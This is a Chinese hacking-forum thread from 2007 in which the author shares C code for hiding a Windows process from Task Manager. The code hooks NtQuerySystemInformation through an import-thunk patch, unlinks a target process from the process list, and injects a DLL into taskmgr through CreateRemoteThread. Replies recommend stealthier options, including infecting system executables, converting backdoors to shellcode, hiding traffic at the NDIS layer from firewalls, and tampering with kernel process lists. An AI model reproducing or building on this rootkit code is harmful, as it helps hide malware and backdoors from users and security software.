[原创]利用NtQuerySystemInformation隐藏进程
文章作者:dream2fly信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
老题,不过对我来说是新题啊,最近研究hook,总结下。
[url]http://www.dream2fly.net[/url]
菠菜dream2fly
联系方式:[email]songbohr@gmail.com[/email]
一、先修改NtQuerySystemInformation函数指针:
方法两种:
1.搜寻IAT(不过有的是动态加载NTDLL.DLL,所以导入表并找不到,不通用)
2.thuck修改(比较通用,嘿嘿)
[language=c]
if (bFound)
{
MessageBoxA(NULL,"find","消息",MB_OK);
MEMORY_BASIC_INFORMATION mbi;
int ret = VirtualQuery(ppfn,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
ret = VirtualProtect(mbi.BaseAddress,mbi.RegionSize,PAGE_READWRITE,&mbi.Protect);
pThunk->u1.Function = (DWORD)pNTQUERYSYSTEMINFORMATION;
//挂钩NTQUERYSYSTEMINFORMATION
DWORD dwOldProtect;
ret = VirtualProtect(mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);
break;
}
[/language]
二、不过是通过摘除ps链表
[language=c]
lpProcInfo = (PSYSTEM_PROCESSES)SystemInformation;
while(lpProcInfo->NextEntryDelta!=0)
{
//在这里头了个懒,直接比较的是PROCESSID,其实这里应该比较进程名的
if(lpProcInfo->ProcessId==4068)
{
//MessageBox(NULL,L"4068",L"消息",MB_OK);
lpLastProcInfo->NextEntryDelta += lpProcInfo->NextEntryDelta;
break;
}
else
{
lpLastProcInfo = lpProcInfo;
lpProcInfo = (PSYSTEM_PROCESSES)((PUCHAR)lpProcInfo +lpProcInfo->NextEntryDelta);
}
}
[/language]
三、最后远程插入taskmgr,ok可以隐藏了[s:264]
[language=c]
hWindow = ::FindWindow(NULL,"Windows 任务管理器");
if(hWindow==0)
{
return;
}
GetWindowThreadProcessId(hWindow,&dwProcessID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessID);
if(!hProcess)
{
AfxMessageBox("OpenProcess error\n");
return;
}
hDll = LoadLibrary("kernel32.dll");
if(hDll == NULL)
{
AfxMessageBox("Load kernel32.dll error\n");
return;
}
dwLoadLibrary = (DWORD)GetProcAddress(hDll,"LoadLibraryA");
strcpy(lpMessage,"c:\\threads.dll");
*pRemote = (RemotePara *)VirtualAllocEx(hProcess,NULL,sizeof(lpMessage),MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(hProcess,pRemote,&lpMessage,sizeof(lpMessage),0);
hThread = CreateRemoteThread (hProcess ,0,0,(DWORD (__stdcall *)(void *))dwLoadLibrary ,pRemote ,0,&byte_write);
if(hThread == NULL)
{
AfxMessageBox("CreateRemoteThread Error\n");
}
[/language]
[url]http://www.dream2fly.net[/url]
菠菜dream2fly
联系方式:[email]songbohr@gmail.com[/email]
这种技术很老了,连IS过不了,不过很容易改为ps感染,吼吼。。 你就按照那时候我写的步骤来写后面的代码吧 哈哈
你试试用KiWaitInListHead列进程。
然后在写替换内核的进程链表的…… [quote]引用第1楼sunwear于2007-07-13 15:04发表的 :
你就按照那时候我写的步骤来写后面的代码吧 哈哈
你试试用KiWaitInListHead列进程。
然后在写替换内核的进程链表的……[/quote]
你的步骤,在那? 这年头,,就不要搞隐藏进程了...进程隐藏了,要是被找出来就是往自己脸上写"我是坏人"
下面两个方法都要比隐藏进程好:自己的工具改成DLL的,再感染下系统的EXE文件
还有一个,前几天在[url]http://forum.eviloctal.com/read-htm-tid-28936.html[/url]看到了..自己的后门改成shellcode(不过会很累哈) 这样更好,,连DLL都没有..
这个觉得隐藏进程没什么意义了,,倒是隐藏通信比较重要,现在的想法是做到NDIS封包,,一般的防火墙是看不出来的(ZA用的也是NDIS,遇上它就看谁先动手了,哈哈)..不过好像比较难写,,在学习中.... rku的hook code可以发现外,其他也提示不了啊,呵呵 [s:269] [quote]引用第4楼dream2fly于2007-07-13 16:07发表的 :
rku的hook code可以发现外,其他也提示不了啊,呵呵 [s:269][/quote]
我那个还是通过QQ告诉你吧 说出来丢人
RKU 我2K3 SP1 运行一下 蓝了……没再运行 NND 。。
[attach]1060[/attach]
页:
[1]